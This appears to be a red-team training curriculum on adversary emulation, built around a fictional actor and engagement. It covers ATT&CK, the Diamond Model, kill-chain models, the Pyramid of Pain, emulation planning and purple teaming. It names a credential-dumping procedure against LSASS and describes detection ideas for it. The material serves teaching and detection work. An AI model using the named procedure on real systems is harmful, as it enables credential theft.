Misconception to kill now. "The kill chain is obsolete; ATT&CK replaced it." No — they are different resolutions of the same picture. The kill chain gives you the seven-phase arc for storytelling and the "break early" principle; ATT&CK gives you the technique-level map for detection. Mature teams use both. (The "Unified Kill Chain" attempts to merge them into 18 phases; know it exists.)

Chapter 4: MITRE ATT&CK — Tactics, Techniques, Sub-techniques, Procedures

Zero background. ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge), published by MITRE, is a curated, evidence-based knowledge base of how real adversaries behave, organized as a matrix. It is the lingua franca of red, blue, and threat-intel teams: when you say "T1003," everyone means the same behavior.

The four levels — this is the spine of the whole phase:

TACTIC       the adversary's GOAL                "credential access"        (the WHY)
   └ TECHNIQUE     a way to achieve the goal      "OS Credential Dumping" T1003   (the HOW, general)
        └ SUB-TECHNIQUE   a specific variant       "LSASS Memory" T1003.001        (the HOW, specific)
             └ PROCEDURE   a concrete implementation "actor X used comsvcs.dll MiniDump on lsass"  (the WHAT, observed)

• A tactic is a goal — the column of the matrix (Reconnaissance, Initial Access, … , Impact — the same lifecycle as Chapter 2). There are 14 in ATT&CK Enterprise.
• A technique (e.g., T1003 OS Credential Dumping) is a general method of achieving a tactic.
• A sub-technique (e.g., T1003.001 LSASS Memory) is a specific variant of a technique. Not all techniques have sub-techniques; the .NNN suffix denotes one. This granularity matters for detection: dumping LSASS memory and dumping the SAM hive are both T1003 but emit different telemetry and need different detections.
• A procedure is a specific observed implementation — "FIN-LATTICE used comsvcs.dll MiniDump against lsass.exe." Procedures are what CTI reports document and what your emulation plan reproduces.

Why the levels matter for emulation. Your CTI gives you procedures; you map them up to sub-techniques/techniques to find the data source and detection; you group by tactic to order and to score coverage. The whole movement of Lab 01 is: take observed technique ids → classify each (technique + tactic + telemetry + detection) → order by tactic → group → count coverage.

Under the hood — what ATT&CK actually ships. Each technique page carries: a description, the tactic(s) it serves (a technique can belong to several tactics — e.g., Valid Accounts is both Initial Access and Persistence and Privilege Escalation and Defense Evasion), the data sources that observe it (Process Creation, Logon Session, Network Traffic, …), detection guidance, mitigations (M-codes mapping to D3FEND), and procedure examples from named groups. ATT&CK is distributed as a STIX 2.1 bundle you can parse programmatically (the Lab 01 "extensions" do exactly this).

Telemetry / detection — the data-source pivot. ATT&CK's most useful property for a red teamer who must ship detections is the data source field. It tells you, for any technique, what sensor would see it. T1003.001 (LSASS Memory) → data source Process: OS API Execution / Process Access → in practice, Sysmon EID 10 (a handle opened to lsass.exe with suspicious access rights). That chain — technique → data source → concrete log event → detection rule — is the heart of detection engineering, and the reason every CORPUS row in the labs carries a telemetry field next to the detection field.

Engagement significance. ATT&CK is the common language of the entire engagement. The emulation plan is an ATT&CK layer; the report's gap matrix is an ATT&CK layer; the purple-team replay is scored per ATT&CK technique. If you cannot read all four levels fluently, you cannot do this job.

Misconception to kill now. "A technique maps to exactly one tactic." False — many techniques serve several tactics. The labs simplify to one tactic per technique for a clean lifecycle ordering; real ATT&CK is multi-tactic, which is why the Lab 01 limitations note flags it and the STIX extension fixes it.

Chapter 5: The ATT&CK Navigator, Coverage, and Gaps

Zero background. The ATT&CK Navigator is a free web tool that renders the ATT&CK matrix as a grid you can color and annotate — a "layer." Each cell is a technique; you assign it a score/color and comment. Layers are JSON; you can generate them programmatically.

Why it exists. A flat list of techniques ("FIN-LATTICE uses T1566, T1059, …") is hard to reason about. Painted onto the matrix, it becomes a picture: you instantly see which tactics the actor exercises and — crucially — which it does not. Overlay your detection coverage (green = we detect, red = we are blind) and the picture becomes a gap map.

The two questions a layer answers:

• Coverage — "what does this actor do?" (Lab 01 tactics_covered, coverage_summary). A techniques-per-tactic count is the simplest coverage view: it shows where the actor concentrates.
• Gaps — "what would we not test if we only emulate this actor?" (Lab 01 coverage_gaps). If FIN-LATTICE never does discovery in your CTI, an emulation of FIN-LATTICE alone never tests your discovery detections. That is a blind spot in your assessment, distinct from a blind spot in your defense — and naming it is a staff-level move.

Under the hood — comparing layers. Navigator supports layer arithmetic: overlay actor A and actor B to see shared techniques (prioritize those — they defend against the most threats); subtract "techniques we detect" from "techniques this actor uses" to get the detection gap; intersect two groups to build a threat-informed prioritization. The CTID "Top ATT&CK Techniques" methodology is a formalization of this.

Telemetry / detection. A coverage layer is only honest if it distinguishes three states:

DETECTED      the data source is collected AND a rule fires        → green
VISIBLE-ONLY  the data source is collected but NO rule fires       → yellow (a detection gap)
BLIND         the data source is NOT even collected                → red   (a visibility gap)

A red teamer who reports "we have no coverage of T1003" without distinguishing blind from visible-but-no-rule has given the client a worse remediation than necessary: the first costs a new sensor, the second costs a rule. The Lab 01 extension that joins the plan to a SOC data-source inventory is exactly this distinction.

Engagement significance. The Navigator layer is the portfolio artifact of Phase 01. "Here is FIN-LATTICE painted on the matrix; here is your detection coverage; here are the red cells we will test; here is the gap map after the engagement." It is the single most legible deliverable a red team produces for a security leader.

Misconception to kill now. "Green coverage means we are safe." Green means a rule exists, not that it fires reliably, low-false-positive, and gets actioned. Coverage is necessary, not sufficient; the purple-team replay (Chapter 11) is what validates that green is real.

Chapter 6: The Diamond Model and Pivoting

Zero background. The Diamond Model of Intrusion Analysis (Caltagirone, Pendergast, Betz, 2013) models a single malicious event as four connected vertices:

            ADVERSARY
           /         \
   INFRASTRUCTURE — CAPABILITY      (the two are linked: a capability runs over infrastructure)
           \         /
             VICTIM

• Adversary — who is doing it (often unknown at observation time).
• Capability — the tool/malware/technique used (a loader, a RAT, an exploit).
• Infrastructure — the physical/logical resources used (a C2 IP, a domain, a redirector).
• Victim — the target (an organization, host, or asset).

Every observed event populates some of these vertices. The model's axioms are simple but powerful: for every intrusion there is an adversary; every adversary uses capability over infrastructure against a victim.

Why it exists — the analytic move is PIVOTING. The kill chain and ATT&CK describe one intrusion in time. The Diamond Model lets you link separate events into a campaign in space by their shared meta-features. If event A and event B used the same C2 infrastructure (203.0.113.7), they are probably the same campaign — even if you do not yet know the adversary. If A and C share the same loader capability (LatticeLoader), same conclusion. You pivot from one vertex to find events sharing it. This is the engine of threat-intel correlation and the first step toward attribution.

Under the hood — pivoting as graph connectivity. Model each event as a node; draw an edge between two events that share a non-null infrastructure or capability value; the connected components are the campaigns. That is exactly Lab 02's pivot: union-find over shared meta-features, returning clusters of size ≥ 2 (a lone event has nothing to pivot to). Pivoting is transitive: if A→B share infra X and B→C share infra X, then A, B, C are one cluster even if A and C were never directly observed together. This is how an analyst expands from a single indicator to the whole intrusion.

  event e1  (infra: mail.evil.test, capability: LatticeLoader)
  event e3  (infra: —,               capability: LatticeLoader)   ← pivots to e1 on capability
  event e4  (infra: 203.0.113.7,     capability: —)
  event e5  (infra: 203.0.113.7,     capability: LatticeCrypt)    ← pivots to e4 on infrastructure

Telemetry / detection — pivoting is a defensive weapon, not just an attacker concept. Once incident responders have one indicator (say, the C2 IP from a single beacon), pivoting on it finds every other event that touched it — so they can scope and contain the whole intrusion, not just the alert they happened to see. A defender who cannot pivot cleans one host and leaves the actor in ten others.

Engagement significance. In a red team report, the Diamond pivot explains why the blue team should connect two alerts they treated as separate. In a purple-team replay, you deliberately reuse infrastructure across stages so the blue team can practice pivoting. And in the Operation Cedar Lattice narrative, the Diamond Model is how the scattered FIN-LATTICE events become one attributable campaign.

Misconception to kill now. "Shared infrastructure proves the same adversary." It is evidence, not proof — adversaries share, rent, and hijack infrastructure; one C2 IP can host several actors over time. Pivoting generates leads; it does not settle attribution. (Lab 02's extension that infers a conflicting adversary across a cluster encodes exactly this caution.) The strongest pivot is on a TTP (top of the Pyramid of Pain), not on a reusable IP.

Chapter 7: The Mandiant Attack Lifecycle

Zero background. Mandiant — the firm running Operation Cedar Lattice — publishes its own lifecycle model, refined over thousands of real incident responses and summarized annually in M-Trends. It is the vendor lens you will speak in on this engagement.

The Mandiant Attack Lifecycle:

  Initial Recon  →  Initial Compromise  →  Establish Foothold
                                                 │
                                                 ▼
        ┌─────────────────  THE INNER LOOP  ─────────────────┐
        │  Escalate Privileges → Internal Recon →            │
        │  Move Laterally → Maintain Presence                │
        └──────────────────────  ↺  ──────────────────────────┘
                                                 │
                                                 ▼
                              Complete Mission (exfil / impact)

Why it differs from the Lockheed kill chain — the LOOP. The Lockheed chain is linear (seven phases, once). Mandiant's key contribution is the explicit inner loop: after the foothold, the actor cycles escalate → recon → move laterally → maintain presence repeatedly, ratcheting through the environment one host and one credential at a time, until it reaches the data. This matches what real intrusions look like far better than a single linear pass.

Under the hood — why the loop matters for the defender. Because the actor loops, the defender gets many chances at the same detection. Every lateral movement is another logon event; every privesc is another integrity-level change; every "maintain presence" is another persistence artifact. A SOC that misses the first lateral move can still catch the third. The loop is also why dwell time (the time from initial compromise to detection — a headline M-Trends metric) is the number that matters: the longer the actor loops undetected, the deeper it gets.

Mapping the three frameworks together (you will be asked this in interviews):

Engagement significance. When you brief Meridian, you will narrate the engagement in the Mandiant lifecycle (because that is the firm's house language and the client expects it), map each step to ATT&CK (for the technical detail and detection), and use the kill chain for the executive arc. Three lenses, one story.

Misconception to kill now. "These three models contradict each other." They are the same intrusion at different resolutions and from different houses. Knowing how to slide between them — and which to use for which audience — is a core consulting skill.

Chapter 8: The Pyramid of Pain

Zero background. David Bianco's Pyramid of Pain ranks the types of indicators you can detect or block by how much pain it causes the adversary when you do. Pain = how hard/expensive it is for the actor to change that indicator and keep operating.

                ▲  most pain to the adversary
          ┌───────────┐
          │   TTPs    │   tough!!!   (behaviors — change = redesign the operation)
          ├───────────┤
          │  Tools    │   challenging  (the actor must find/build a new tool)
          ├───────────┤
          │ Network/  │   annoying   (rotate the C2 domain/IP)
          │ Host arts │
          ├───────────┤
          │ Domain    │   simple     (register a new domain)
          │ names     │
          ├───────────┤
          │ IP addrs  │   easy       (new IP in minutes)
          ├───────────┤
          │  Hashes   │   trivial    (recompile → new hash instantly)
          └───────────┘
                ▼  least pain

Why it exists. Most immature detection blocks the bottom of the pyramid — hashes and IPs — because they are easy to collect and share. But they are also trivial for the adversary to change. Block FIN-LATTICE's malware hash and it recompiles in seconds; block its C2 IP and it rotates in minutes. The pyramid's message: the higher you detect, the more durable your win and the more the adversary suffers. Detect a TTP — "any process opening a handle to LSASS with these access rights" — and the actor must redesign how it steals credentials, which is expensive and slow.

Under the hood — why TTP detection is hard but worth it. Bottom-of-pyramid indicators are exact-match (a hash either matches or not) — easy to write, easy to evade. TTP detection is behavioral — it describes what the technique does, independent of the specific binary or address. Writing it requires understanding the technique's mechanism (which is what the rest of this curriculum teaches), and it is harder to make low-false-positive. But once it works, it catches every variant of the behavior, including ones you have never seen. This is precisely why ATT&CK (which catalogs techniques, i.e., the TTP layer) is the right altitude for detection.

Connection to emulation and the labs. When you choose what to emulate and what detections to recommend, aim at the top of the pyramid. A FIN-LATTICE emulation that only checks "do we block the known hash?" tests nothing durable; one that checks "do we detect the behavior of credential dumping, lateral movement, and beaconing?" tests defenses the actor cannot trivially evade. The Lab extensions that rank steps by Pyramid level and weight Diamond pivots by indicator type encode this: a pivot on a shared TTP is a far stronger lead than a pivot on a shared IP the actor rotates daily.

Engagement significance. In the report, the pyramid justifies prioritization: "Your detections are concentrated at the IP/hash layer (easy for the adversary to defeat). We recommend investing in TTP-layer detections for credential access and lateral movement, which FIN-LATTICE cannot evade without re-engineering." That is a staff-level, business-framed recommendation.

Misconception to kill now. "More indicators = better detection." No — higher indicators are better. A thousand hashes are worth less than one solid behavioral analytic for LSASS access.

Chapter 9: From CTI to an Emulation Plan — the Workflow

Zero background. This is the chapter that ties the phase together and that Lab 01 implements. The input is CTI on a named actor; the output is a runnable, ordered, detection-paired emulation plan. Here is the full workflow.

Step 1 — Select the actor and gather CTI. Why this actor? Because the client faces it (sector, geography, motivation). The CTI is a structured profile: the actor's observed ATT&CK techniques (procedures rolled up to technique ids) and known infrastructure/tooling patterns. For Operation Cedar Lattice the actor is FIN-LATTICE, with profile T1566 → T1059 → T1003 → T1021 → T1071 → T1486 (phish → execute → dump creds → move laterally → beacon → ransom — a canonical financial chain). Sources: CTID Adversary Emulation Plans, vendor intel reports, M-Trends, the actor's ATT&CK Group page.

Step 2 — Map procedures to ATT&CK. Each observed procedure becomes a (sub-)technique id with a tactic. This is classify(tid) in Lab 01: id → {name, tactic, order, procedure, telemetry, detection}.

Step 3 — Order along the lifecycle. Group the techniques by tactic and sequence them by tactic order so the plan reads as one campaign. This is build_plan (sort by (order, technique) and number the steps). The plan is now a narrative, not a list.

Step 4 — Write a procedure per step. Exactly what will you run on the owned range? Not "do phishing" but "send the seeded pretext from owned infra to a seeded mailbox in the range." Procedures must be safe (synthetic/owned only), specific, and scoped.

Step 5 — Pair each step with telemetry + a detection idea. What does this behavior emit, and what should fire? This is the column that makes the plan a purple-team artifact. T1003 → "Sysmon EID 10 LSASS handle access" → "Credential Guard + LSASS PPL + alert on LSASS handle opens." Without this column the plan is just an attack script and fails this track's bar.

Step 6 — Define success criteria and stop conditions. Success is two things: the procedure ran and you observed whether the detection fired (_success_criteria in Lab 01). Stop conditions (from Phase 00's ROE) bound the run: data limits, blast-radius limits, time windows, and the deconfliction contact. No step runs without a stop condition.

Step 7 — Score coverage and gaps. coverage_summary (techniques per tactic) and coverage_gaps (lifecycle tactics the actor never exercises) produce the Navigator view: what this emulation tests and what it leaves untested.

The whole workflow, as a pipeline:

CTI profile (actor + observed technique ids)
        │  classify(tid)            → technique + tactic + telemetry + detection
        ▼
ordered emulation plan              ← build_plan (sort by lifecycle order, number steps)
        │  + procedure per step
        │  + telemetry + detection  (the pairing)
        │  + success criteria + stop conditions
        ▼
coverage_summary / coverage_gaps    → ATT&CK Navigator layer (coverage + gaps)
        ▼
RUN on owned range → observe telemetry → score detection → purple-team replay (Chapter 11)

Engagement significance. This pipeline is the Phase 01 deliverable for Operation Cedar Lattice. Everything downstream executes Step "RUN" of this plan, host by host, and the report scores Step "score detection," technique by technique.

Misconception to kill now. "The CTI technique list is the plan." The list is Step 1. The plan is Steps 2–7. The work — and the value — is in the ordering, the procedures, the detection pairing, the success criteria, and the coverage scoring. That work is Lab 01.

Chapter 10: Emulation vs Simulation vs Pentest vs Red Team vs Vuln Scan

Zero background. These terms are used loosely in the market and precisely in a Mandiant engagement. Getting them right is a credibility marker in interviews and scoping calls.

The key distinctions:

• Emulation vs pentest. A pentest hunts whatever is exploitable to reach a goal; it may use a zero-day the actor would never touch. Emulation deliberately constrains itself to the actor's tradecraft — even taking a harder path — because the point is to test the specific threat, not to find the easiest win. A pentest optimizes for "did we get in?"; emulation optimizes for "did the defender see the behaviors this actor uses?"
• Emulation vs simulation. Often used interchangeably. The careful distinction: emulation reproduces a specific named actor's procedures as faithfully as safe; simulation exercises a representative set of TTPs without claiming actor fidelity (e.g., an automated breach-and-attack- simulation tool firing a battery of Atomic tests). Emulation is higher-fidelity and intel-driven.
• Red team vs emulation. A red team assessment is the broad category (goal-oriented, tests detection/response, often covert). Adversary emulation is a methodology a red team uses — specifically, an intel-driven one anchored to a named actor. Mandiant red teams do emulation.
• All four vs a vuln scan. A scan finds potential weaknesses with no demonstrated impact and no test of detection. The others demonstrate and (the top three) test the defender's response.

Engagement significance. When Meridian asks "is this a pentest?", the correct answer is: "No — this is adversary emulation: we are reproducing FIN-LATTICE's specific tradecraft, driven by intelligence, to measure whether your detection and response would stop that actor, and to leave you durable detections." That sentence is the whole value proposition.

Misconception to kill now. "Red team / pentest / emulation are the same thing with fancier names." They differ in what drives the technique selection and what the output measures. Conflating them leads to scoping a pentest and calling it an emulation — and delivering a list of bugs where the client needed a detection-gap map.

Chapter 11: Threat-Informed Defense and Purple Teaming

Zero background. Threat-informed defense is the discipline of prioritizing your defenses by the behaviors of the adversaries you actually face, using ATT&CK as the common map. Instead of "harden everything" (impossible) or "buy the product the vendor pushes," you ask: which techniques do the actors targeting my sector use, and do I detect them? The answer drives investment.

Why it exists. Defense budgets are finite and the attack surface is infinite. Threat-informed defense is the answer to "where do I spend first?" — and adversary emulation is how you measure whether the spend worked. The two are a loop: emulate → find gaps → invest in detections → re-emulate.

Purple teaming — the loop made collaborative. Classic red/blue is adversarial and serial: red attacks covertly, blue tries to catch them, then a report lands weeks later. Purple teaming is collaborative and real-time: red and blue sit together. Red runs an ATT&CK technique; blue watches their tooling live; together they answer did the data source fire? did the rule alert? was it actioned? If not, they write the detection on the spot, red re-runs the technique, and they confirm it fires. The gap becomes a durable detection in hours, not weeks.

The purple-team loop, per technique:

1. red runs the technique on the owned range (from the emulation plan, Chapter 9)
2. blue observes their telemetry: did the EXPECTED data source produce the event?
        ├─ no  → VISIBILITY GAP   (the sensor isn't collecting it) → deploy/configure the sensor
        └─ yes → did a detection FIRE?
                ├─ no  → DETECTION GAP (no rule) → write the rule now
                └─ yes → was it ACTIONED? → tune the response/playbook
3. write/tune the detection
4. red RE-RUNS the technique → confirm the detection fires (regression)
5. record the result on the ATT&CK Navigator layer (red→green) — a DURABLE artifact the client keeps

Under the hood — why this maps onto the labs. Lab 01's success_criteria is exactly the purple question: did the procedure run AND was the expected telemetry observed, and did the detection fire? Lab 02's earliest_break and reconstruct give the blue side the narrative: here is how far the emulated actor got, and the earliest stage we should have stopped it. Together they are the inputs to the purple replay.

Telemetry / detection — the three outcomes again. The purple loop is the only honest way to know which of the three states (DETECTED / VISIBLE-ONLY / BLIND, Chapter 5) you are really in. A Navigator layer colored from belief is fiction; one colored from a live purple run is evidence.

Engagement significance. The purple-team replay is the Phase 12 close of Operation Cedar Lattice and the reason the engagement creates lasting value: Meridian does not just learn it was breached in the exercise — it leaves with new, tested detections for FIN-LATTICE's techniques, written and regression-confirmed with its own team. That is the difference between "we got domain admin" and "you now detect the actor that targets you."

Misconception to kill now. "Purple teaming is just red and blue in the same room." The room is not the point — the per-technique detect-tune-rerun-confirm loop is. Without the loop, you have a demo, not a detection.

Lab Walkthrough Guidance

Tackle the labs in order; together they implement the two halves of the methodology — building the plan (Lab 01) and reading the resulting campaign (Lab 02).

Lab 01 — CTI-to-Emulation-Plan Builder. Implement in this order:

1. classify(tid) first — every other function calls it. Look the id up in CORPUS; fall back to UNKNOWN so an unmapped id never crashes the plan. Set order from the tactic's index, or len(TACTIC_ORDER) for unknown so it sorts last. (Chapter 4.)
2. detection_for(tid) — a one-liner over classify; it is the purple-team pairing for a step (Chapter 11).
3. build_plan(actor_tids) — de-duplicate, classify, attach success_criteria, sort by (order, technique), number the steps. This is the CTI→plan workflow (Chapter 9). Determinism comes from the total-order sort key.
4. tactics_covered and coverage_summary — the Navigator coverage view (Chapter 5). Remember to drop unknown from tactics_covered.
5. coverage_gaps — the threat-informed-defense "what would we miss?" question (Chapters 5, 11). The reference frame is TACTIC_ORDER (or a caller-supplied subset); only count placeable tactics.

Lab 02 — Kill-Chain Campaign Reconstructor + Diamond Pivot. Implement in this order:

1. classify, then reconstruct (sort by (order, timestamp, event_id); carry the Diamond features through) — the kill-chain ordering (Chapters 2, 3).
2. tactics_reached, furthest_tactic ("how far along?"), earliest_break ("defend left" — the cheapest break point and its control). Note furthest_tactic/earliest_break ignore unplaceable (unknown) techniques — you cannot claim a stage you cannot map (Chapter 2).
3. pivot(events, on=...) — the Diamond Model move (Chapter 6): union-find over events sharing a non-None infrastructure or capability, returning clusters of size ≥ 2, sorted, deterministic. Raise ValueError on an unsupported feature.

Run LAB_MODULE=solution pytest -q first to see the reference pass, then fill in lab.py and run pytest -q.

Success Criteria

You understand this phase when you can, without notes:

• Recite the attacker lifecycle stage by stage and give, for each, the goal, a technique, the telemetry, and the break-the-chain control (Chapter 2).
• State what question each of the three lenses answers and use them together to narrate one intrusion (Chapters 3, 4, 6, 7).
• Read an ATT&CK id at all four levels (tactic / technique / sub-technique / procedure) and name the data source that observes it (Chapter 4).
• Explain coverage vs gaps and the three detection states (detected / visible-only / blind) on a Navigator layer (Chapter 5).
• Pivot a set of events in the Diamond Model and explain why shared infrastructure is evidence, not proof of a shared adversary (Chapter 6).
• Walk the CTI→emulation-plan workflow end to end and explain why each step exists (Chapter 9).
• Distinguish emulation / simulation / pentest / red team / vuln scan crisply (Chapter 10).
• Run a purple-team loop and explain how it turns a gap into a durable detection (Chapter 11).
• Pass both labs with your own implementation and explain why each design choice (ordering, determinism, unknown-handling, the detection pairing) is there.

Common Mistakes and OPSEC Failures

• A list is not a plan. Handing over the CTI technique list and calling it an emulation plan. The ordering, procedures, detection pairing, success criteria, and coverage are the work.
• Mapping to a tactic but not to telemetry/detection. ATT&CK without the data source is half the value and fails the detection-pairing bar (Chapters 4, 5).
• Defending right. Building the impact-stage detection while the cheap initial-access break point goes untested ("defend left", Chapters 2, 3).
• Bottom-of-pyramid detections. Recommending hash/IP blocklists as if they were durable wins (Chapter 8).
• Treating pivoting as attribution. Concluding "same adversary" from shared infrastructure (Chapter 6). Pivoting generates leads; attribution needs more.
• Calling a pentest an emulation. Selecting techniques by "what's exploitable" instead of "what this actor does" (Chapter 10).
• A purple session without the loop. Red and blue in a room but no per-technique detect-tune-rerun-confirm cycle (Chapter 11).
• OPSEC: running a procedure with no stop condition or deconfliction. Every step in the plan must carry the Phase 00 stop conditions and the deconfliction contact. If you cannot name the owner, scope, stop conditions, and deconfliction contact for a step, you do not run it.
• Reusing real infrastructure or data in fixtures. The labs and the plan are synthetic/owned only; a real C2 IP or real victim name in a fixture is a safety failure, not a detail.

Interview Q&A

Q1. Explain the Cyber Kill Chain, MITRE ATT&CK, and the Diamond Model — what does each answer and how do you use them together? The Cyber Kill Chain (Lockheed) models an intrusion as seven linear phases (recon → weaponization → delivery → exploitation → installation → C2 → actions on objectives). It answers "how far along is this intrusion, and where is the cheapest place to break it?" — its central lesson is "defend left": break an early phase and you prevent everything downstream. It is coarse but executive-legible. MITRE ATT&CK is a knowledge base of real adversary behaviors organized as tactics (goals) → techniques → sub-techniques → procedures. It answers "what specific behavior is this, what data source sees it, and can we detect it?" — it is the technique-level detail and the common language the kill chain lacks. The Diamond Model describes a single event as adversary/capability/infrastructure/ victim and answers "what else is connected to this?" via pivoting on shared infrastructure or capability — the engine of campaign correlation and attribution. They are complementary resolutions, not rivals: I use the kill chain for the narrative arc and "break early," ATT&CK for behavior-to-detection mapping, and the Diamond Model to link scattered events into one campaign. On a real engagement I narrate in the Mandiant lifecycle, map technical detail to ATT&CK, and frame the arc with the kill chain.

Q2. Walk me from CTI on a named actor to a runnable emulation plan. Seven steps. (1) Select the actor and gather CTI — chosen because the client faces it; the CTI is the actor's observed ATT&CK procedures plus its infra/tooling patterns. (2) Map procedures to ATT&CK — each becomes a (sub-)technique id with a tactic. (3) Order along the lifecycle — group by tactic, sequence by tactic order so the plan reads as one campaign. (4) Write a procedure per step — exactly what runs on the owned range, safe and scoped. (5) Pair each step with the telemetry it emits and a detection idea — the column that makes it a purple artifact, not an attack script. (6) Define success criteria and stop conditions — success = the procedure ran and we observed whether the detection fired; stop conditions come from the ROE. (7) Score coverage and gaps — techniques per tactic, and the lifecycle tactics this actor never exercises. That pipeline is exactly what my Lab 01 builder implements; the output is an ATT&CK Navigator layer plus an ordered, detection-paired plan.

Q3. Adversary emulation vs penetration test vs vulnerability scan? A vuln scan enumerates potential weaknesses from a signature database — no demonstrated impact, no test of detection. A pentest has a human exploit weaknesses to a goal via whatever path works, including techniques the real threat would never use — it answers "what can be exploited here?" and optimizes for getting in. Adversary emulation deliberately constrains itself to a named actor's tradecraft, driven by CTI, even taking a harder path — because the goal is to measure whether the client detects and stops that specific actor's behaviors and to leave durable detections. The pentest optimizes "did we get in"; emulation optimizes "did the defender see the behaviors this actor uses." A red team assessment is the broad goal-oriented category; emulation is the intel-driven methodology a Mandiant red team uses within it.

Q4. What is the Pyramid of Pain and how does it change which detections you prioritize? It ranks indicators by how much pain it costs the adversary to change them: hashes (trivial — recompile) → IPs (easy) → domains (simple) → host/network artifacts (annoying) → tools (challenging) → TTPs (tough). Most immature detection lives at the bottom (hashes/IPs) because they are easy to collect and share — and trivial for the actor to rotate. The lesson: detect higher. A behavioral analytic for the TTP of credential dumping catches every variant and forces the actor to redesign how it steals creds, which is expensive. So in an emulation I recommend investing in TTP-layer detections (which ATT&CK catalogs) for the actor's core behaviors — credential access, lateral movement, beaconing — rather than feeding the SOC another hash blocklist. I also weight Diamond pivots by pyramid level: a pivot on a shared TTP is a far stronger lead than one on an IP the actor rotates daily.

Q5. A SOC hands you 200 scattered alerts from one night. How do you reconstruct the campaign, decide how far the actor got, and choose where to break the chain? First I classify each alert to an ATT&CK technique and tactic, then reconstruct by ordering them along the lifecycle (tactic order, then time) so the pile becomes one narrative — this is my Lab 02 reconstruct. The furthest tactic reached ("how far along?") is the deepest placeable stage; I won't claim a stage I can't map. The earliest break point is the lowest-order stage observed and its control — "defend left," because a control there prevents everything downstream and is the cheapest fix. Then I pivot in the Diamond Model: take a strong indicator (a C2 IP) and find every other alert that touched it, so I scope the whole intrusion, not just the alerts I happened to see — pivoting is transitive, so one shared indicator can stitch a dozen alerts into one campaign. I'd caution that shared infra is evidence, not proof of one adversary. The deliverable is the ordered narrative, the furthest-reached stage, the earliest break point with its control, and the pivoted scope.

Q6. What is threat-informed defense, and how does a purple-team replay produce a durable detection? Threat-informed defense prioritizes defenses by the behaviors of the adversaries you actually face, using ATT&CK as the map — the answer to "where do I spend first?" when the attack surface is infinite. Emulation measures whether the spend worked; the two form a loop: emulate → find gaps → invest → re- emulate. A purple-team replay makes that loop collaborative and real-time: red runs a technique on the owned range while blue watches live; together they ask did the expected data source fire (no → visibility gap, deploy a sensor), did a rule alert (no → detection gap, write the rule now), was it actioned (no → tune the playbook). They write the detection on the spot, red re-runs the technique to confirm it fires (regression), and they record it on the Navigator layer red→green. The durability comes from that detect-tune-rerun-confirm loop and from aiming the detection at the TTP layer — the client leaves with tested detections for the actor that targets it, not a slide deck.

Q7. How does the Mandiant Attack Lifecycle differ from the Lockheed kill chain, and why does the loop matter? The Lockheed chain is linear — seven phases, traversed once. Mandiant's lifecycle adds an explicit inner loop: after establishing a foothold, the actor cycles escalate-privileges → internal-recon → move-laterally → maintain-presence repeatedly, ratcheting through the environment host by host until it reaches the objective. That matches real intrusions far better. The loop matters defensively because it gives the SOC many chances at the same detection — every iteration is another logon, another persistence artifact, another integrity-level change — so missing the first lateral move doesn't mean losing; you can catch the third. It is also why dwell time is the headline metric: the longer the actor loops undetected, the deeper it gets. In a briefing I narrate in the Mandiant lifecycle (the client's house language), map the detail to ATT&CK, and use the kill chain for the executive arc.

Q8. Why does every step of your emulation plan ship a detection, and what makes a coverage map honest? Because the deliverable is a detection-and-response assessment, not a trophy. An ATT&CK mapping without the data source and a detection idea is half-finished — it tells the client a behavior happened but not how they'd have seen it. Pairing each step with the telemetry it emits and a detection turns the plan into a purple-team artifact and makes the offensive knowledge a defensible asset, which is the whole ethos of this work. A coverage map is honest only when it distinguishes three states: detected (data source collected and a rule fires), visible-only (collected but no rule — a detection gap, costs a rule), and blind (not even collected — a visibility gap, costs a sensor). Reporting "no coverage" without that distinction gives the client a worse, more expensive remediation than necessary — and a map colored from belief rather than a live purple run is fiction.

References

Primary sources — read the originals, not summaries.

• MITRE ATT&CK — the Enterprise matrix, technique pages (tactic, data sources, detection, mitigations, procedure examples), and the STIX 2.1 bundle. attack.mitre.org.
• ATT&CK Navigator — the layer tool and its JSON layer format. mitre-attack.github.io/attack-navigator.
• Center for Threat-Informed Defense (CTID) — the Adversary Emulation Library (per-actor emulation plans), the Top ATT&CK Techniques methodology, and ATT&CK Flow.
• Atomic Red Team (Red Canary) — small, ATT&CK-mapped, runnable tests; the model for per-technique procedures.
• Hutchins, Cloppert, Amin (Lockheed Martin) — Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains (the Cyber Kill Chain paper, 2011).
• Caltagirone, Pendergast, Betz — The Diamond Model of Intrusion Analysis (2013).
• Mandiant — M-Trends annual reports and the Mandiant Attack Lifecycle (dwell-time metrics, the inner loop).
• David Bianco — The Pyramid of Pain (2013/2014).
• MITRE D3FEND — the defensive technique counterpart of ATT&CK (the mitigation/detection mapping).
• Vest & Tubberville — Red Team Development and Operations (engagement methodology, ROE, reporting).
• VECTR / Scythe purple-team material — the per-technique detect-tune-rerun-confirm loop and coverage tracking.

The Hitchhiker's Guide to Running an Adversary-Emulation Plan on the Range

The operator's walkthrough for Phase 01. The WARMUP explains the concepts (the lifecycle, the three lenses, ATT&CK, the Pyramid of Pain, the CTI→plan workflow, purple teaming). This guide shows you how to build and run an emulation plan on your own authorized range: pick a named actor from CTI, select ATT&CK techniques, write procedures with success criteria and stop conditions, run Atomic-Red-Team-style tests against the OWNED range, observe the telemetry, score detection coverage, and run the purple-team replay. Then tear it down.

Authorization is the whole job. Everything here happens on the owned range from the README range diagram, under the Phase 00 Rules of Engagement, with stop conditions and a deconfliction contact named before any technique runs. If you cannot name the owner, scope, stop conditions, and deconfliction contact for a step, you do not run it. Nothing in this guide is a live target, a payload, or a weapon — the labs themselves reason over synthetic metadata only.

0. The loop you are about to run

   pick actor (CTI)  →  select ATT&CK techniques  →  write procedures + success criteria + stop conditions
          │                                                          │
          ▼                                                          ▼
   build the plan (Lab 01)  ───────────────────────────────►  RUN on the OWNED range (Atomic-style)
          │                                                          │
          ▼                                                          ▼
   observe telemetry  →  score detection coverage  →  PURPLE-TEAM REPLAY (detect-tune-rerun-confirm)
          │                                                          │
          ▼                                                          ▼
   reconstruct the campaign (Lab 02)  →  evidence packet  →  TEARDOWN

This is one pass of threat-informed defense: emulate FIN-LATTICE, find the gaps in Meridian's detections, write the missing detections, confirm they fire, and leave them behind.

1. Stand up the authorized range

Use the isolated range from the README. The minimum for this phase:

Hard preconditions (Phase 00):

• The range is isolated — no bridge to home, corporate, or public networks.
• Snapshot every victim host before the run; you will revert after.
• No real credentials, customer data, or personal data in any fixture, capture, or screenshot.
